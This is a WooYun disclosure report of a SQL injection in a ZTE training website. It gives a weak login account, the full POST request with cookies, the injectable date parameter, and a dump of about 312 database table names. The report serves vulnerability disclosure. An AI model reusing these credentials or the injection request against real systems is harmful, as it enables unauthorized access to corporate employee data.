中兴通讯某站SQL注射（涉及13个库，300多个表）

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0140742

漏洞标题：中兴通讯某站SQL注射（涉及13个库，300多个表）

漏洞作者： Xmyth_夏洛克

提交时间：2015-09-12 18:21

修复时间：2015-10-29 08:56

公开时间：2015-10-29 08:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-12：细节已通知厂商并且等待厂商处理中
2015-09-14：厂商已经确认，细节仅向厂商公开
2015-09-24：细节向核心白帽子及相关领域专家公开
2015-10-04：细节向普通白帽子公开
2015-10-14：细节向实习白帽子公开
2015-10-29：细节向公众公开

简要描述：

2333333

详细说明：

URL:
http://its.zte.com.cn/univ/login.aspx
弱口令进去：
6396000452/123456
进入后台
在配置师徒关系处存在POST型注入

日期为注入点

漏洞证明：

POST /univ/employeetrain/NewcomerCultivate/SetTeacherStudent.aspx HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*
Referer: http://its.zte.com.cn/univ/employeetrain/NewcomerCultivate/SetTeacherStudent.aspx
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3; GWX:QUALIFIED)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: its.zte.com.cn
Content-Length: 891
Pragma: no-cache
Cookie: LoginTicket=; ASP.NET_SessionId=ve3lxxywaa1c5jrr5u0fic45; EdoorCulture=CurCulture=1&CurrentCulture=zh-CN; sessioncookieid=2015912152758888; ssocookieid=201508100956452015912152758888; username=10095645
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE_KEY=VIEWSTATE_ve3lxxywaa1c5jrr5u0fic45_192.168.28.70_635776688149445540&__VIEWSTATE=&__EVENTVALIDATION=%2FwEWIAL%2BraDpAgKz8dy8BQL0%2B4mHAgKVhO%2FXDgKN%2FuDeCgKoqY%2FDDwLp4Yr6AgLbxeClDQLB79GlBALbibmnDQK42KGWCgKq2KGWCgK3gv1tAqGW0fwNAq%2FznMIDAq%2FziOcKAq%2Fz9IsCAq%2Fz4LAJAq%2Fz7K4GAtrH29UGAq2S5aIKApfCh40LAtXujOkHAuDIlpkJAuTI1poJAuXI1poJAubI1poJAufI1poJAuDI1poJAsKJsc0OAuqSpeUFAtm2xxub8%2Blv7jaIZXMQqx0UyPb5vV2Yzj3%2FA7p7oJgUkfuFSw%3D%3D&txtUserId=20150810095645&txtLanguage=zh_CN&_ctl8=%2Funiv%2Femployeetrain%2FNewcomerCultivate%2FSetTeacherStudent.aspx&dtsRegDateS=&dtsRegDateE=&dtsrhStartDateS=&dtsrhStartDateE=&dtsrhEndDateS=2015-09-01&dtsrhEndDateE=2015-09-26&txtNameAndId=&txtDeptName=&btnSelect=%E6%9F%A5%E8%AF%A2&ztegriTeacherAndStudent%3A_ctl4%3A_numPageSizeFooter_1=10&ztegriTeacherAndStudent%3A_ctl4%3A_numPageFooter_1=1&querydepartno=

dtsrhEndDateS参数为注入点
涉及13个库

当前数据库存在300多个表

web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET, Nginx
back-end DBMS: Oracle
Database: EMPTRAIN
[312 tables]
+--------------------------------+
| A                              |
| AA                             |
| AAA                            |
| ATTACHMENT_MNG                 |
| BASE_CLIPBOARD                 |
| BASE_DEPTALLVIEW               |
| BASE_DEPTALLVIEW_LINFAN        |
| BASE_DEPT_SPECIAL_DIC          |
| BASE_DICTIONARIES              |
| C$_0HRT_MANAGER_DEPT           |
| CM_ACTUAL_DEVELOPERS           |
| CM_APPROVE_OPINION             |
| CM_COURSE                      |
| CM_COURSE_LAN                  |
| CM_COURSE_SUBJECT              |
| CM_DEVELOPERS                  |
| CM_EXAMINER_OPINION            |
| CM_FRAME                       |
| CM_MATERIAL_ADDRESS            |
| CM_MILESTONE                   |
| CM_TRAINEE_REMARK              |
| DISTRIBUTED_DEPLOY_INFO        |
| E$_HRT_MANAGER_DEPT            |
| EMPLOYEEBASE_INFO_HR           |
| HH_TMP                         |
| HRT_DEPT_DIC                   |
| HRT_DUTYGROUP_DIC              |
| HRT_DUTYLEVEL_DIC              |
| HRT_EMPLOYEEBASE_INFO_HR_DIC   |
| HRT_EMPLOYEEBASE_INFO_V_DIC    |
| HRT_MANAGER_DEPARTMENT_TNT_V_D |
| HRT_MANAGER_DEPT               |
| HRT_MANAGER_DEPT_OPTLOG        |
| HRT_REFUND_ACCOUNT_DIC         |
| HRV_DEPARTMENT_S               |
| HR_WFT_GIVE_RIGHT_DIC          |
| ID_UPGRADE_BA_PERSON           |
| ID_UPGRADE_COL                 |
| ID_UPGRADE_CONSTRAINT          |
| ID_UPGRADE_DISABLEOBJ          |
| ID_UPGRADE_EXECUTE_LOG         |
| ID_UPGRADE_INDEX               |
| ID_UPGRADE_TAB                 |
| ID_UPGRADE_TEMP                |
| ID_UPGRADE_TRIGGER             |
| MICROSOFTDTPROPERTIES          |
| NC_CULTIVATE_PLAN              |
| NC_CULTIVATE_PLAN_DEL          |
| NC_CULTIVATE_PLAN_TMP          |
| NC_FINAL_COMMENT               |
| NC_PLAN_DETAIL                 |
| NC_PLAN_DETAIL_TEMPLATE        |
| NC_PLAN_FILL                   |
| NC_PLAN_QUESTION_ITEM          |
| NC_POST_SKILL                  |
| NC_QUESTION_ITEM               |
| NC_SET_COMMENT_QUESTION        |
| NC_STEP_REPORT                 |
| NC_TEACHER_STUDENT             |
| NC_TEACHER_STUDENT_DEL         |
| NC_TEACHER_STUDENT_TMP         |
| NC_TEMPLATE                    |
| NC_TMP_TASK                    |
| PLAN_TABLE                     |
| PUB_EMPTYPE_CHANGE_ATM_DIC     |
| PUB_SELFDEFINE_GROUP           |
| PUB_SELFDEFINE_GROUP_MEMBER    |
| PUB_TMP_EMPNO_CH               |
| REMOVE_VIEW                    |
| RESUME_VIEW                    |
| RMS_ACCREDIT_OBJECT            |
| RMS_ADMIN_DEPARTMENT           |
| RMS_ADMIN_DEPARTMENT_IUBAK     |
| RMS_CLASS_EQUIPMENT            |
| RMS_CLASS_GRANT                |
| RMS_EQUIPMENT_GRANT            |
| RMS_OPERATE_OBJECT             |
| RMS_OPERATE_OBJECT_RIGHT       |
| RMS_PRIVILEGE                  |
| RMS_PRIVILEGE_IUBAK            |
| RMS_RIGHT_INFO                 |
| RMS_RIGHT_INFO_IUBAK           |
| RMS_SCHOOL_EQUIPMENT           |
| RMS_SCHOOL_ROOM                |
| RMS_SYSTEM                     |
| RMS_USER_ACCREDIT_OBJECT       |
| RMS_USER_ACCREDIT_OBJECT_IUBAK |
| RM_REQUIREMENTS                |
| RM_TEACHERS                    |
| RM_TRAINEES                    |
| RM_TRAINEE_AMOUNT              |
| SKILL_VIEW                     |
| SNP_CHECK_TAB                  |
| SYNAUDITTABLE                  |
| SYS_CC_PERSONS                 |
| SYS_DEFAULT_VALUE              |
| SYS_ERROR_LOG                  |
| SYS_OPERATE_LOG                |
| T                              |
| TEMP_TEST                      |
| TGGF                           |
| THREADHANDTIMES                |
| TMP_DEPT_NEW                   |
| TMP_DEPT_PROJECT               |
| TMP_HRT_INFO                   |
| TMP_STUDENT                    |
| TNT_AGREEMENT_GRANT            |
| TNT_AGREEMENT_INFO             |
| TNT_BASE_BUDGET_STATUS_DIC     |
| TNT_BASE_CERTIFICATE_EVAL_DIC  |
| TNT_BASE_CERTIFICATE_LEVEL_DIC |
| TNT_BASE_CITY_DIC              |
| TNT_BASE_COURSE                |
| TNT_BASE_COURSEWARE_STATUS_DIC |
| TNT_BASE_COURSE_CURRENCY       |
| TNT_BASE_COURSE_LANGUAGE       |
| TNT_BASE_COURSE_LAN_DIC        |
| TNT_BASE_COURSE_STATUS_DIC     |
| TNT_BASE_COURSE_TEACHER        |
| TNT_BASE_CULTURE_DIC           |
| TNT_BASE_CULTURE_NAME_DIC      |
| TNT_BASE_CURRENCY_DIC          |
| TNT_BASE_DC_DIC                |
| TNT_BASE_DUTYLEVEL_DIC         |
| TNT_BASE_DUTY_DIC              |
| TNT_BASE_FEE_STATUS_DIC        |
| TNT_BASE_INSIDE_TEACHER        |
| TNT_BASE_INSIDE_TEACHER_IUBAK  |
| TNT_BASE_MANAGER_DIC           |
| TNT_BASE_MONTHBUDGET_STATUS    |
| TNT_BASE_NATION_DIC            |
| TNT_BASE_OPEN_AREA             |
| TNT_BASE_OUT_TEACHER           |
| TNT_BASE_PERSONAL_PLAN_STATUS  |
| TNT_BASE_PERSONAL_PLAN_ZONE    |
| TNT_BASE_PERSONAL_PLAN_ZONE_IU |
| TNT_BASE_PLAN_CHANGE_ZONE      |
| TNT_BASE_PROJ_STATUS_DIC       |
| TNT_BASE_STUDENT_ATTEND_DIC    |
| TNT_BASE_TABLE_DIC             |
| TNT_BASE_TEACHER_APPLY_STATUS  |
| TNT_BASE_TEACHER_FEE_DIC       |
| TNT_BASE_TEACHER_TYPE          |
| TNT_BASE_TEACHING_FEE          |
| TNT_BASE_TEACHING_FEE_IUBAK    |
| TNT_BASE_TRAINEE_TYPE_DIC      |
| TNT_BASE_TRAIN_BELONG_DIC      |
| TNT_BASE_TRAIN_STYLE_DIC       |
| TNT_BASE_TRAIN_TYPE_DIC        |
| TNT_COURSE_DATE                |
| TNT_DIC_PROJECT_FEE_RATE       |
| TNT_DIC_PROJECT_FEE_RATE_IUBAK |
| TNT_DIC_STUDY_FEE_RATE         |
| TNT_DIC_STUDY_FEE_RATE_IMP     |
| TNT_DIC_STUDY_FEE_RATE_IUBAK   |
| TNT_DIC_TRAINGRADE             |
| TNT_DIC_TRAINGRADE_IUBAK       |
| TNT_EVAL_INFO                  |
| TNT_EVAL_QUESTION_ANSWER       |
| TNT_EVAL_QUESTION_MAP          |
| TNT_EVAL_TEMPLATE_MAP          |
| TNT_FEE_ACCOUNT_DETAIL         |
| TNT_FEE_APPRAISAL_STAT         |
| TNT_FEE_BUDGET                 |
| TNT_FEE_BUDGET_DETAIL          |
| TNT_FEE_BUDGET_IUBAK           |
| TNT_FEE_COURSEFEETOTAL_TEMP    |
| TNT_FEE_DECOMPOSE_DETAIL       |
| TNT_FEE_DECOMPOSE_DETAIL_7914  |
| TNT_FEE_DECOMPOSE_DETAIL_IUBAK |
| TNT_FEE_DETAIL_MERGE           |
| TNT_FEE_LOAN                   |
| TNT_FEE_MONTH_BUDGET           |
| TNT_FEE_MONTH_BUDGET_IUBAK     |
| TNT_FEE_PERSONAL_ACCOUNT       |
| TNT_FEE_TEACHING_ACCOUNT       |
| TNT_FEE_TEACHING_ACCOUNT_IUBAK |
| TNT_FEE_TEACHING_PAYMENT       |
| TNT_FEE_TRAIN_AUDIT            |
| TNT_FEE_TRAIN_BUDGET           |
| TNT_FEE_TRAIN_BUDGET_IUBAK     |
| TNT_FEE_TYPE                   |
| TNT_GROUP_TEACHER              |
| TNT_INNER_ACCOUNT              |
| TNT_INNER_ACCOUNT_DETAIL       |
| TNT_INNER_ACCOUNT_DETAIL_IUBAK |
| TNT_INNER_ACCOUNT_IUBAK        |
| TNT_LOG_PUBLIC_OPERATION       |
| TNT_LOG_PUBLIC_OPERATION_1     |
| TNT_LOG_PUBLIC_OPERATION_1_IUB |
| TNT_LOG_PUBLIC_OPERATION_2     |
| TNT_LOG_PUBLIC_OPERATION_2_IUB |
| TNT_LOG_PUBLIC_OPERATION_IUBAK |
| TNT_LOG_TYPE                   |
| TNT_LOG_VISIT                  |
| TNT_NEWEMPLOYEE_TRAIN          |
| TNT_NEWEMPLOYEE_TRAIN_IUBAK    |
| TNT_NEWEMPLOYEE_TRAIN_TMP      |
| TNT_OUTINFO_COURSE             |
| TNT_OUTINFO_PROVIDER           |
| TNT_OUTINFO_TEACHER            |
| TNT_OUTINFO_TEACHER_COURSE     |
| TNT_PM_ACCREDIT                |
| TNT_PM_ACCREDIT_IUBAK          |
| TNT_PM_ACCREDIT_SIGNUP         |
| TNT_PM_ACCREDIT_SIGNUP_IUBAK   |
| TNT_PM_ARTICLE                 |
| TNT_PM_COURSE                  |
| TNT_PM_COURSE_IUBAK            |
| TNT_PM_COURSE_SCORE            |
| TNT_PM_COURSE_SCORE_IUBAK      |
| TNT_PM_COURSE_TMP              |
| TNT_PM_EVAL                    |
| TNT_PM_EVAL_COURSE             |
| TNT_PM_EVAL_ITEM               |
| TNT_PM_INTERVIEW_EMAIL         |
| TNT_PM_INTERVIEW_EMAIL_IUBAK   |
| TNT_PM_PERSONAL_PLAN           |
| TNT_PM_PERSONAL_PLAN_DETAIL    |
| TNT_PM_PERSONAL_PLAN_IUBAK     |
| TNT_PM_PROJECT                 |
| TNT_PM_PROJECT_BAK0313         |
| TNT_PM_PROJECT_IUBAK           |
| TNT_PM_STUDENT                 |
| TNT_PM_STUDENT_20090709        |
| TNT_PM_STUDENT_CHECK           |
| TNT_PM_STUDENT_INTERVIEW       |
| TNT_PM_STUDENT_INTERVIEW_IUBAK |
| TNT_PM_STUDENT_IUBAK           |
| TNT_PM_STUDENT_REPORT          |
| TNT_PM_STUDENT_TMP             |
| TNT_PM_TECH_CER_RATE           |
| TNT_PM_TECH_CER_RATE_IUBAK     |
| TNT_REGION_DEPT                |
| TNT_REGION_DEPT_061215BK       |
| TNT_REGION_DEPT_IUBAK          |
| TNT_REGION_DIC                 |
| TNT_REGION_DIC_20061108BK      |
| TNT_REGION_DIC_IUBAK           |
| TNT_RESOURCE_COURSE            |
| TNT_RESOURCE_COURSE_IUBAK      |
| TNT_RESOURCE_EXTERNAL_TRAINER  |
| TNT_RESOURCE_HOTEL             |
| TNT_RESOURCE_TEACHER_APPLY     |
| TNT_RESOURCE_TEACHER_APPLY_BAK |
| TNT_RESOURCE_TEACHER_APPLY_IUB |
| TNT_RESOURCE_TEACHER_EVAL      |
| TNT_RESOURCE_TEACHER_EVAL_IUBA |
| TNT_RESOURCE_TEACHER_STAT      |
| TNT_RIGHT_GROUP                |
| TNT_RIGHT_GROUPROLE            |
| TNT_RIGHT_ITEM                 |
| TNT_RIGHT_RIGHT                |
| TNT_RIGHT_RIGHTTYPE_DIC        |
| TNT_RIGHT_ROLE                 |
| TNT_RIGHT_ROLEITEM             |
| TNT_RIGHT_ROLERIGHTTYPE        |
| TNT_RIGHT_USER                 |
| TNT_SETTING_EVALUATION         |
| TNT_SETTING_EVAL_ITEM          |
| TNT_SETTING_MONTHLY_APPRAISAL  |
| TNT_SETTING_MONTHLY_APPRAISAL_ |
| TNT_SETTING_RELEASE_INFO       |
| TNT_SYS_INNER_DIC              |
| TNT_TEACHER_COURSE_RELATIONS   |
| TNT_TEACHER_LAN_RELATIONS      |
| TNT_TRAIN_INFO_CATEGORY        |
| TNT_TRAIN_INFO_CATEGORY_IUBAK  |
| TNT_TRAIN_INFO_COURSE          |
| TNT_TRAIN_INFO_COURSE_IUBAK    |
| T_CHANGE_LC                    |
| VOTE_ACL                       |
| VOTE_CHOISE                    |
| VOTE_ITEM                      |
| VOTE_TYPE                      |
| VOTE_VOTER                     |
| VOTE_VOTER_IUBAK               |
| WFT_ACTION_STATE               |
| WFT_DEAD_QUEUE                 |
| WFT_DEFEAT_QUEUE               |
| WFT_GIVE_RIGHT                 |
| WFT_GIVE_RIGHT_LOG             |
| WFT_HANDLER_DIC                |
| WFT_HANDLER_ROLE_DIC           |
| WFT_OPERATE_TYPE_DIC           |
| WFT_PRIVILEGE_DIC              |
| WFT_ROLES_OPERATION_DEFINE     |
| WFT_SEQUENCE_STREAM            |
| WFT_SUCCEED_QUEUE              |
| WFT_TEMPLATE                   |
| WFT_TEMPLATE_0857              |
| WFT_TEMPLATE_DEFINE            |
| WFT_TEMPLATE_DEFINE_0857       |
| WFT_TEMPLATE_ENDWFEMP          |
| WFT_TEMPLATE_ENDWFEMP_IUBAK    |
| WFT_TEMPLATE_EXAM_PAGE         |
| WFT_TEMPLATE_GRAPHICS          |
| WFT_TEMPLATE_LOG               |
| WFT_THREAD_ABOUT_PERSON        |
| WFT_THREAD_ACL                 |
| WFT_THREAD_ACL_IUBAK           |
| WFT_THREAD_END_STATUS_DIC      |
| WFT_THREAD_HANDLE_TRACE        |
| WFT_THREAD_HANDLE_TRACE_IUBAK  |
| WFT_THREAD_HEAD                |
| WFT_THREAD_HEAD_TMP            |
| WFT_THREAD_LOG                 |
| WFT_THREAD_LOG_IUBAK           |
| WFT_THREAD_RECORD              |
| WFT_THREAD_RECORD_IUBAK        |
| WFT_THREAD_STATUS_DIC          |
| WFT_WAITING_QUEUE              |
+--------------------------------+

修复方案：

过滤

版权声明：转载请注明来源 Xmyth_夏洛克@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：19

确认时间：2015-09-14 08:54

厂商回复：

感谢~

WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0140742

漏洞标题：中兴通讯某站SQL注射（涉及13个库，300多个表）

相关厂商：中兴通讯股份有限公司

漏洞作者： Xmyth_夏洛克

提交时间：2015-09-12 18:21

修复时间：2015-10-29 08:56

公开时间：2015-10-29 08:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 Xmyth_夏洛克@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

评论

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0140742

漏洞标题：中兴通讯某站SQL注射（涉及13个库，300多个表）

相关厂商：中兴通讯股份有限公司

漏洞作者： Xmyth_夏洛克

提交时间：2015-09-12 18:21

修复时间：2015-10-29 08:56

公开时间：2015-10-29 08:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

Tags标签： 无

4人收藏 收藏 var token=""; var id="wooyun-2015-0140742"; $(".btn-fav").click(function(){ CollectBug(id,token); }); 分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 Xmyth_夏洛克@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

评论

漏洞概要关注数(24) 关注此漏洞

Tags标签：无

4人收藏收藏
分享漏洞：